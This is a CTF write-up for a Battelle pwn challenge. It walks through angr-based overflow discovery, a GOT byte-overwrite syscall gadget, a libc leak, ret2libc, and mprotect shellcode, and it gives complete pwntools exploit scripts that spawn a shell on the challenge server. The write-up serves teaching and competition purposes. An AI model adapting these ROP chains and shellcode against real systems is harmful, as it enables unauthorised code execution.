1A Møøse once bit my sister... No realli! She was Karving her initials on the møøse with the sharpened end of an interspace tøøthbrush given her by Svenge - her brother-in-law - an Oslo dentist and star of many Norwegian møvies "The Høt Hands of an Oslo Dentist", "Fillings of Passion", "The Huge Mølars of Horst Nordfink"...2
3nc ctf.battelle.org 300424
5Hint: To pwn a binary find the function “holy_grail” and call it
Unlike many pwn challenges, this had no binary to be downloaded. The reason why quickly became clear when we connected to the provided service and it dropped an ELF binary.
1❯ nc ctf.battelle.org 300422To get to the holy grail you must answer three questions...3Or... The same question 3 times.4WHAT?5Monty Python and The Holy Grail quote am I thinking of?6Oh yea and you have to find 3 holy grails... Wait was it 3 or 5?********************************7EL4!4 hDDPQ/lib/ld-linux.so.2GNUGNYMɥ K0` "D<)58V libc.so.6_IO_stdin_usedstrncmpstrlenmemsetreadstdoutsetvbuf__libc_start_mainGLIBC_2.0__gmon_start__ii9...10 $$ h 0h )11********************************12SHE'S A WITCH BURN HER!
The binary wasn’t in a format which could easily be made into a file first thing I did was construct a brief script to connect and write the binary to a file for further analysis.
1from pwn import *2import time3
4context.terminal = ['kitty','-e']5
6r = remote("ctf.battelle.org", 30042)7
8r.recvuntil(b"********************************")9r.recvline()10with open("binary1", "wb") as f:11 f.write(r.recvuntil(b"********************************\n"))
The main function is pretty minimal; only calling two functions.
1void FUN_08048516(void) {2 setvbuf(stdout,(char *)0x0,0,0);3 return;4}
The first disables buffering on stdout, common in CTF challenges over a TCP socket like this because buffering can make exploits behave strangely.
1void FUN_08048579(void) {2 size_t __n;3 int iVar1;4 char local_31 [33];5 char *local_10;6
7 local_10 = "A SHRUBBERRY!!!!";8 memset(local_31,0,0x21);9 read(0,local_31,0x1d);10 __n = strlen(PTR_s_We_have_no_shrubberies_here!_0804b02c);11 iVar1 = strncmp(PTR_s_We_have_no_shrubberies_here!_0804b02c,local_31,__n);12 if (iVar1 == 0) {13 FUN_080485fb();14 }15 else {16 FUN_0804867d();17 }18 return;19}
The second reads from stdin, compares it to a static string, and then branches based on the equality. Each branch calls another function which does essentially the same thing, forming a tree of functions, and then finally there are “leaf” functions which do not call other functions at all.
1void FUN_08048ad7(void) {2 size_t __n;3 char local_18 [8];4 char *local_10;5
6 local_10 = "Your Mother was a Hamster, and your Father smelt of Elderberries!";7 memset(local_18,0,8);8 read(0,local_18,0xe0);9 __n = strlen(PTR_DAT_0804b058);10 strncmp(PTR_DAT_0804b058,local_18,__n);11 return;12}
While looking through the stripped functions I saw a buffer overflow in one of the leaf functions. At this point the rough shape of the challenge is becoming clear. Subsequent connections to the service provide binaries which follow the same archetype but are subtly different — strings, buffer sizes, etc differ. We need to write code to generate an exploit in a generic enough manner that it will work for any binary the server provides.
I used angr to generate exploiting payloads for these binaries. I would love to have created this myself, but I was able to pretty much wholesale snag a script from a blog post on discovering buffer overflows with angr
1import angr, argparse2from pwn import *3
4def main():5 parser = argparse.ArgumentParser()6
7 parser.add_argument("Binary")8
9 args = parser.parse_args()10
11 TARGET = "DCBA"12
13 p = angr.Project(args.Binary)14 state = p.factory.blank_state()15
16 simgr = p.factory.simgr(state, save_unconstrained=True)17 simgr.stashes['mem_corrupt'] = []18
19 def check_mem_corruption(simgr):20 if len(simgr.unconstrained):21 for path in simgr.unconstrained:22 if path.satisfiable(extra_constraints=[path.regs.pc == TARGET]):23 path.add_constraints(path.regs.pc == TARGET)24 if path.satisfiable():25 simgr.stashes['mem_corrupt'].append(path)26 simgr.stashes['unconstrained'].remove(path)27 simgr.drop(stash='active')28 return simgr29
10 collapsed lines
30 simgr.explore(step_func=check_mem_corruption)31 if len(simgr.stashes['mem_corrupt']) == 0:32 print("could not derive corrupting payload :(")33 exit(1)34 else:35 dump = simgr.stashes['mem_corrupt'][0].posix.dumps(0)36 f.write(dump[:dump.index(b"ABCD")-4])37
38if __name__ == "__main__":39 main()
This script took a binary as an argument, attempted to derive a corrupting payload, and then wrote it to a file for my usage elsewhere.
So, we have a decent (but variable) sized buffer overflow. Where do we go from here?
1[*] '/home/sky/battelle-ctf-2021/holy_grail_rop/binary1'2 Arch: i386-32-little3 RELRO: Partial RELRO4 Stack: No canary found5 NX: NX enabled6 PIE: No PIE (0x8048000)
Mitigations are pretty light — NX is enabled but it lacks a canary and PIE is disabled. Usually in this scenario I would reach for ret2libc, but ASLR makes that troublesome in this situation because we have no easy method of leaking a libc pointer. On the bright side, no PIE means we can easily pivot the stack into BSS.
1❯ nm --dynamic ./binary12 w __gmon_start__308048d3c R _IO_stdin_used4 U __libc_start_main@GLIBC_2.05 U memset@GLIBC_2.06 U read@GLIBC_2.07 U setvbuf@GLIBC_2.08 U stdout@GLIBC_2.09 U strlen@GLIBC_2.010 U strncmp@GLIBC_2.0
We have access to a pretty slim set of libc functions, none of which write to stdout. Interestingly enough there is an stdout symbol, from buffering being disabled, but I do not believe that to be exploitable.
I was stuck at this point for ages trying to think up a viable exploit method when I noticed something interesting about the disassembly of read.
1gef➤ disas read2Dump of assembler code for function read:3 0xf7e8b850 <+0>: endbr324 0xf7e8b854 <+4>: push edi5 0xf7e8b855 <+5>: push esi6 0xf7e8b856 <+6>: call 0xf7edff15 <__x86.get_pc_thunk.si>7 0xf7e8b85b <+11>: add esi,0xfa5c18 0xf7e8b861 <+17>: push ebx9 0xf7e8b862 <+18>: sub esp,0x1010 0xf7e8b865 <+21>: mov eax,gs:0xc11 0xf7e8b86b <+27>: test eax,eax12 0xf7e8b86d <+29>: jne 0xf7e8b898 <read+72>13 0xf7e8b86f <+31>: mov ebx,DWORD PTR [esp+0x20]14 0xf7e8b873 <+35>: mov ecx,DWORD PTR [esp+0x24]15 0xf7e8b877 <+39>: mov eax,0x316 0xf7e8b87c <+44>: mov edx,DWORD PTR [esp+0x28]17 0xf7e8b880 <+48>: call DWORD PTR gs:0x1018 ...
At read+48 there is an instruction which performs a syscall and more importantly this is quite close to the beginning of the function so there is a pretty decent chance the difference between read+0 and read+48 is only the last byte. This is vitally important because ASLR does not randomize the lowest 12 bytes which means the value of this byte on the server is constant. If we can figure out what this byte is on the server, we can transmute read into a syscall gadget which can be leveraged for information leakage.
As it turns out, constructing a ROP chain which can utilize a syscall gadget to leak information in this binary is nontrivial. My original plan was to use sigreturn to set the argument registers, but that turned out to not work because it clobbered the segment registers (genuinely unsure why because I don’t think it should; let me know if you’re reading this and you know why). I managed to make a rop chain capable of leaking a single byte by leveraging leftover register values from read, an INC ECX gadget, and a “mov al, 4; or byte ptr [ecx], al; leave; ret” gadget (I later improved on this rop chain to be able to leak larger ranges, but this worked to brute force this byte).
I wrote up a quick script to brute force overwrite the last byte and apply this ROP chain. The theory was that if the overwrite was correct, read would become a syscall gadget and I would see an extra byte in the response.
(this was pretty much my earliest functional script; see later ones if you want comments :) )
1from pwn import *2import time3
4bss = 0x0804b0685import multiprocessing6semaphore = multiprocessing.Semaphore(1)7file_semaphore = multiprocessing.Semaphore(1)8
9def try_byte(syscall_gadget_no):10 try:11 syscall_gadget = p8(syscall_gadget_no)12 with semaphore:13 print(f"trying {syscall_gadget_no} - {syscall_gadget}")14
15 r = remote("ctf.battelle.org", 30042)16
17 r.recvuntil(b"********************************")18 r.recvline()19 with open("binary1", "wb") as f:20 f.write(r.recvuntil(b"********************************"))21
22 process(["python", "detect_vuln2.py", "binary1"]).recvall()23
24 exe = ELF("./binary1")25 POP_EBX_RET = 0x0804837126 INC_ECX_RET = next(exe.search(b"\x41\xc3"))27
28 pivot_payload = b""29
55 collapsed lines
30 pivot_payload += p32(bss + len(pivot_payload) + 4) + b"/bin/bash".ljust(16,b"\x00")31 as_for_strlen_start = bss + len(pivot_payload)32 pivot_payload += p32(bss + len(pivot_payload) + 4) + b"A"*(150)33
34 pivot_payload += p32(0x0804b14a-4)35
36 chain_start = bss + len(pivot_payload)37
38 pivot_chain = ROP(exe)39
40 pivot_chain.read(0, exe.got['read'], 1)41 pivot_chain.raw(pivot_chain.ebx[0])42 pivot_chain.raw(1)43 for i in range(4):44 pivot_chain.raw(INC_ECX_RET)45 pivot_chain.raw(0x080484f7) # mov ax, 4 gadget46 for i in range(4):47 pivot_chain.raw(INC_ECX_RET)48 pivot_chain.raw(exe.symbols['read'])49
50 log.info("pivot chain created")51
52 pivot_payload += pivot_chain.chain()53
54 rop = ROP(exe)55 rop.read(0, bss, len(pivot_payload))56 rop.raw(0x08048485)57
58 raw_rop = rop.chain()59 log.info("original chain created")60
61
62 with open("payload.bin","rb") as f:63 r.send(f.read() + p32(chain_start-4) + raw_rop)64 time.sleep(1)65 r.send(pivot_payload)66 time.sleep(1)67 r.send(syscall_gadget)68 received = r.recvall()69 with file_semaphore:70 with open("brute.log", "a") as f:71 f.write(f"{syscall_gadget_no} -> {received}\n")72 with semaphore:73 print(f"finishing {syscall_gadget_no} - {received}")74 return (syscall_gadget_no, received)75 except:76 try_byte(syscall_gadget_no)77
78from multiprocessing import Pool79
80pool = Pool(4)81
82with open("result.log", "w") as f:83 for (a,b) in pool.map(try_byte, range(256)):84 f.write(f"{syscall_gadget_no} -> {received}\n")
This turned out to work fine (although it was quite close to the end, I was getting a little scared) and I discovered that 244 (0xf4) was the correct byte to overwrite with to construct a syscall gadget.
1230 -> b"\nSHE'S A WITCH BURN HER!\n"2244 -> b"\nPSHE'S A WITCH BURN HER!\n"3245 -> b"\nSHE'S A WITCH BURN HER!\n"
Once I discovered how to leak a single byte, I leaked individual bytes of the GOT by varying the number of INC ECX gadgets to determine the lower 12 bits of __libc_start_main (0xa50) and setvbuf (0x700). I then used libc.rip to determine that the libc version on remote was libc6-i386_2.28-10_amd64.
At this point I had all the building blocks necessary to get a shell, I just needed to refine and put it together. The key difference between my earlier rop chain and the chain I used to get a shell was the size of my information leak. I lacked any gadgets to control edx directly, so I was left to rely on whatever had previously set it — in this case the read call I used to turn read into a syscall gadget. Naively, this left 1 in edx because I was overwriting a single byte. I realized I could take advantage of the fact that read length is a maximum and it will happily read fewer bytes if that is all that is present. I adjusted it to read 4 bytes (a full word leak) and then dropped a time.sleep after sending only a single byte to force read to return early.
Putting this into action got me a total ASLR leak, allowing me to return to libc with 100% success (more or less, I got the odd connection error)
1from pwn import *2import time, angr, logging3
4logging.getLogger('angr').setLevel('ERROR')5logging.getLogger('claripy').setLevel('ERROR')6
7context.terminal = ['kitty','-e']8
9r = remote("ctf.battelle.org", 30042)10
11r.recvuntil(b"********************************")12r.recvline()13with open("current_binary", "wb") as f:14 f.write(r.recvuntil(b"********************************\n"))15
16
17p = angr.Project("current_binary")18state = p.factory.blank_state()19
20simgr = p.factory.simgr(state, save_unconstrained=True)21simgr.stashes['mem_corrupt'] = []22
23def check_mem_corruption(simgr):24 if len(simgr.unconstrained):25 for path in simgr.unconstrained:26 if path.satisfiable(extra_constraints=[path.regs.pc == "ABCD"]):27 path.add_constraints(path.regs.pc == "ABCD")28 if path.satisfiable():29 simgr.stashes['mem_corrupt'].append(path)106 collapsed lines
30 simgr.stashes['unconstrained'].remove(path)31 simgr.drop(stash='active')32 return simgr33
34simgr.explore(step_func=check_mem_corruption)35if len(simgr.stashes['mem_corrupt']) == 0:36 log.warn("could not find memory corrupting input")37 exit(1)38corrupting = simgr.stashes['mem_corrupt'][0].posix.dumps(0)39payload = corrupting[:corrupting.index(b"DCBA")-4]40
41pivoted_stack_1 = 0x0804b068 # start of bss + enough to not clobber important stuff42
43exe = ELF("./current_binary")44
45
46POP_EBX_RET = 0x0804837147POP_EBX_RET = 0x0804837148MOV_AX_4 = 0x080484f749# above gadgets are constant50POP_EBP_RET = next(exe.search(b"\x5d\xc3"))51INC_ECX_RET = next(exe.search(b"\x41\xc3"))52LEAVE_RET = next(exe.search(b"\xc9\xc3"))53RET = next(exe.search(b"\xc3"))54
55# the first thing we want to do is pivot the stack56# we're gonna have to commit some sins to get this to work and limited rop chain size isn't gonna do it57pivot_payload = b""58pivot_payload += p32(0x0804b09c-4)59
60pivot_chain = ROP(exe)61# step 1 is to overwrite the last byte of the read pointer62# I used length to leave 4 in edx for a later write because read can receive fewer than len bytes63pivot_chain.read(0, exe.got['read'], 4)64# Step 2 is to write a pointer out of the GOT, allowing me to break ASLR and determine the version of libc on the server65# ebx/file descriptor can be set by pop ebx gadget but we need to be more inventive for other arguments66pivot_chain.raw(pivot_chain.ebx[0])67pivot_chain.raw(1)68# ecx is already the GOT entry of read because we read over the entry69# we lack any easy pointers to control ECX but we can increment it four times to switch to the next entry in the GOT70for i in range(4):71 pivot_chain.raw(INC_ECX_RET)72# to write with a syscall gadget we need eax == 473# the only gadget I could find to do so is mov al, 4; or byte ptr [ecx], al; leave; ret;74# ecx at this point is the GOT entry to strlen which we can comfortably clobber because it is no longer needed75pivot_chain.raw(MOV_AX_4)76# we then increment ECX again to leak __libc_start_main77for i in range(4):78 pivot_chain.raw(INC_ECX_RET)79# and lastly we call "read" which is actually a syscall gadget80pivot_chain.raw(exe.symbols['read'])81
82# to finish out this rop chain we need to set up for the next stage of this exploit83# we will need to construct another rop chain with our new knowledge of libc base84# 7 null words are garbage values which are consumed between read's syscall and ret85for i in range(7):86 pivot_chain.raw(0)87# these ret gadgets make the stack pointer far enough from the base that calling into the dynamic linker will not segfault88# i ran into issues with it segfaulting because it hit the base of bss89for i in range(100):90 pivot_chain.raw(RET)91# and lastly we use the plt stub to convince the dynamic linker into retrieving the original read pointer92# allowing us to read again and inject a second rop chain93# we're reading 11 * 4 bytes (size of the second pivot stack) into a location in the bss slightly after our previous rop chain ends94pivot_chain.call(0x8048396, [0, 0x0804b260, 11 * 4])95log.info("pivot chain created")96log.info(pivot_chain.dump())97
98pivot_payload += pivot_chain.chain()99pivot_payload += p32(pivoted_stack_1 + len(pivot_payload) + 4) + b"/bin/bash".ljust(16,b"\x00")100
101rop = ROP(exe)102rop.read(0, pivoted_stack_1, len(pivot_payload))103rop.raw(LEAVE_RET)104# we override the stored ebp with pivoted_stack_1 so this will copy ebp, esp and adjust the stack to the new location105# we previously read an arbitrarily large rop chain to that area106log.info("first chain created")107log.info(rop.dump())108
109r.send(payload + p32(pivoted_stack_1) + rop.chain())110time.sleep(1)111r.send(pivot_payload)112time.sleep(1)113r.send(p8(244))114time.sleep(1)115
116
117libc_base = u32(r.recv(4)) - 0x0001aa50 # offset of __libc_start_main118
119log.info(f"leaked libc_base @ {hex(libc_base)}")120
121
122execve = libc_base + 0x000c0470123mprotect = libc_base + 0x000f5940124read = libc_base + 0x000e7ea0125
126# the second rop chain is created with knowledge of libc base127# so no need to do anything tricky with read128pivot_chain_2 = ROP(exe)129pivot_chain_2.call(execve, [0x0804b274, 0, 0]) # location of /bin/bash in bss130log.info("created second pivot chain")131log.info(pivot_chain_2.dump())132r.send(pivot_chain_2.chain())133r.send("whoami")134
135r.interactive()
As some careful enumeration of the box showed (very careful because I got about 10 seconds before the timeout kicked me) it was missing several important binaries (/bin/sh, cat, etc). It did, luckily, have ls which showed me the contents of the working directory.
1bin2dev3exec_8c24169a11a765ad7302322dc13b8917.bin4hint.txt5lib6lib327lib648log9usr
The most interesting one is hint.txt — I had assumed that getting a shell wouldn’t be sufficient because there are mentions of having to exploit multiple binaries and calling the symbol “holy_grail” which did not exist in the binary. The text of this hint tells us that it is linked with “libgrail.so” using LD_PRELOAD.
1Congrats! You we're supposed to find this!2
3Here's your hint4
5Your binary was invoked like this6
7LD_PRELOAD=/lib32/libgrail.so ./bin
This likely contains the aforementioned “holy_grail” symbol which needs to be called to win. I exfiltrated it with base64 (love that binary, dropping static binaries on boxes you really aren’t supposed to have them with base64 is a quality strat) and found the following function.
1void holy_grail(void)2
3{4 int __fd;5 size_t __n;6
7 __fd = open("./log",2);8 __n = strlen("DONE\n");9 write(__fd,"DONE\n",__n);10 close(__fd);11 /* WARNING: Subroutine does not return */12 exit(0x2c);13}
I learned from an admin that the intended solution was ret2dlresolve — the binary had no plt stub for this function so it couldn’t be called directly, but if you forged one the linker would happily fetch a pointer to this function for you.
I, being incredibly lazy, chose to just fake this function by writing DONE to the log file in my rop chain. sorry ;)
As I had an 100% accurate ret2libc chain it didn’t take much to finish up the challenge. I modified the end of my chain to mprotect and write shellcode which mimicked the holy grail function, wrapped it in a loop, and let it run.
1from pwn import *2import time, angr, logging3
4logging.getLogger('angr').setLevel('ERROR')5logging.getLogger('claripy').setLevel('ERROR')6
7context.terminal = ['kitty','-e']8
9r = remote("ctf.battelle.org", 30042)10
11for i in range(5):12 log.info(f"solving binary {i}")13 r.recvuntil(b"********************************")14 r.recvline()15 with open("current_binary", "wb") as f:16 f.write(r.recvuntil(b"********************************\n"))17
18 p = angr.Project("current_binary")19 state = p.factory.blank_state()20
21 simgr = p.factory.simgr(state, save_unconstrained=True)22 simgr.stashes['mem_corrupt'] = []23
24 def check_mem_corruption(simgr):25 if len(simgr.unconstrained):26 for path in simgr.unconstrained:27 if path.satisfiable(extra_constraints=[path.regs.pc == "ABCD"]):28 path.add_constraints(path.regs.pc == "ABCD")29 if path.satisfiable():118 collapsed lines
30 simgr.stashes['mem_corrupt'].append(path)31 simgr.stashes['unconstrained'].remove(path)32 simgr.drop(stash='active')33 return simgr34
35 simgr.explore(step_func=check_mem_corruption)36 if len(simgr.stashes['mem_corrupt']) == 0:37 log.warn("could not find memory corrupting input")38 exit(1)39 corrupting = simgr.stashes['mem_corrupt'][0].posix.dumps(0)40 payload = corrupting[:corrupting.index(b"DCBA")-4]41
42 pivoted_stack_1 = 0x0804b068 # start of bss + enough to not clobber important stuff43
44 exe = ELF("./current_binary")45
46
47 POP_EBX_RET = 0x0804837148 POP_EBX_RET = 0x0804837149 MOV_AX_4 = 0x080484f750 # above gadgets are constant51 POP_EBP_RET = next(exe.search(b"\x5d\xc3"))52 INC_ECX_RET = next(exe.search(b"\x41\xc3"))53 LEAVE_RET = next(exe.search(b"\xc9\xc3"))54 RET = next(exe.search(b"\xc3"))55
56 # the first thing we want to do is pivot the stack57 # we're gonna have to commit some sins to get this to work and limited rop chain size isn't gonna do it58 pivot_payload = b""59 pivot_payload += p32(0x0804b09c-4)60
61 pivot_chain = ROP(exe)62 # step 1 is to overwrite the last byte of the read pointer63 # I used length to leave 4 in edx for a later write because read can receive fewer than len bytes64 pivot_chain.read(0, exe.got['read'], 4)65 # Step 2 is to write a pointer out of the GOT, allowing me to break ASLR and determine the version of libc on the server66 # ebx/file descriptor can be set by pop ebx gadget but we need to be more inventive for other arguments67 pivot_chain.raw(pivot_chain.ebx[0])68 pivot_chain.raw(1)69 # ecx is already the GOT entry of read because we read over the entry70 # we lack any easy pointers to control ECX but we can increment it four times to switch to the next entry in the GOT71 for i in range(4):72 pivot_chain.raw(INC_ECX_RET)73 # to write with a syscall gadget we need eax == 474 # the only gadget I could find to do so is mov al, 4; or byte ptr [ecx], al; leave; ret;75 # ecx at this point is the GOT entry to strlen which we can comfortably clobber because it is no longer needed76 pivot_chain.raw(MOV_AX_4)77 # we then increment ECX again to leak __libc_start_main78 for i in range(4):79 pivot_chain.raw(INC_ECX_RET)80 # and lastly we call "read" which is actually a syscall gadget81 pivot_chain.raw(exe.symbols['read'])82
83 # to finish out this rop chain we need to set up for the next stage of this exploit84 # we will need to construct another rop chain with our new knowledge of libc base85 # 7 null words are garbage values which are consumed between read's syscall and ret86 for i in range(7):87 pivot_chain.raw(0)88 # these ret gadgets make the stack pointer far enough from the base that calling into the dynamic linker will not segfault89 # i ran into issues with it segfaulting because it hit the base of bss90 for i in range(100):91 pivot_chain.raw(RET)92 # and lastly we use the plt stub to convince the dynamic linker into retrieving the original read pointer93 # allowing us to read again and inject a second rop chain94 # we're reading 11 * 4 bytes (size of the second pivot stack) into a location in the bss slightly after our previous rop chain ends95 pivot_chain.call(0x8048396, [0, 0x0804b260, 11 * 4])96 log.info("pivot chain created")97 log.info(pivot_chain.dump())98
99 pivot_payload += pivot_chain.chain()100 pivot_payload += p32(pivoted_stack_1 + len(pivot_payload) + 4) + b"/bin/bash".ljust(16,b"\x00")101
102 rop = ROP(exe)103 rop.read(0, pivoted_stack_1, len(pivot_payload))104 rop.raw(LEAVE_RET)105 # we override the stored ebp with pivoted_stack_1 so this will copy ebp, esp and adjust the stack to the new location106 # we previously read an arbitrarily large rop chain to that area107 log.info("first chain created")108 log.info(rop.dump())109
110 r.send(payload + p32(pivoted_stack_1) + rop.chain())111 time.sleep(1)112 r.send(pivot_payload)113 time.sleep(1)114 r.send(p8(244))115 time.sleep(1)116
117
118 libc_base = u32(r.recv(4)) - 0x0001aa50 # offset of __libc_start_main119
120 log.info(f"leaked libc_base @ {hex(libc_base)}")121
122
123 execve = libc_base + 0x000c0470124 mprotect = libc_base + 0x000f5940125 read = libc_base + 0x000e7ea0126
127 shellcode = b""128 shellcode += asm(shellcraft.i386.linux.open("./log", 2))129 shellcode += asm(shellcraft.i386.linux.echo("DONE\n",sock="eax"))130 shellcode += asm(shellcraft.i386.linux.exit(0x2c))131
132
133 shellcode_loc = 0x0804b284+8 # just took the end of the rop chain and added a bit so they wouldn't run over each other134
135 # the second rop chain is created with knowledge of libc base136 # so no need to do anything tricky with read137 # I just call mprotect to make bss rwx, write shellcode, and then return to it138 pivot_chain_2 = ROP(exe)139 pivot_chain_2.call(mprotect, [0x0804b000, 0x2000, 7])140 pivot_chain_2.call(read, [0, shellcode_loc, len(shellcode)])141 pivot_chain_2.raw(shellcode_loc)142 log.info("created second pivot chain")143 log.info(pivot_chain_2.dump())144 r.send(pivot_chain_2.chain())145 r.send(shellcode)146
147r.interactive()
1YOU FOUND THE HOLY GRAIL!2flag{Y0u_f1g4t_w311_sir_knig4t_7461834}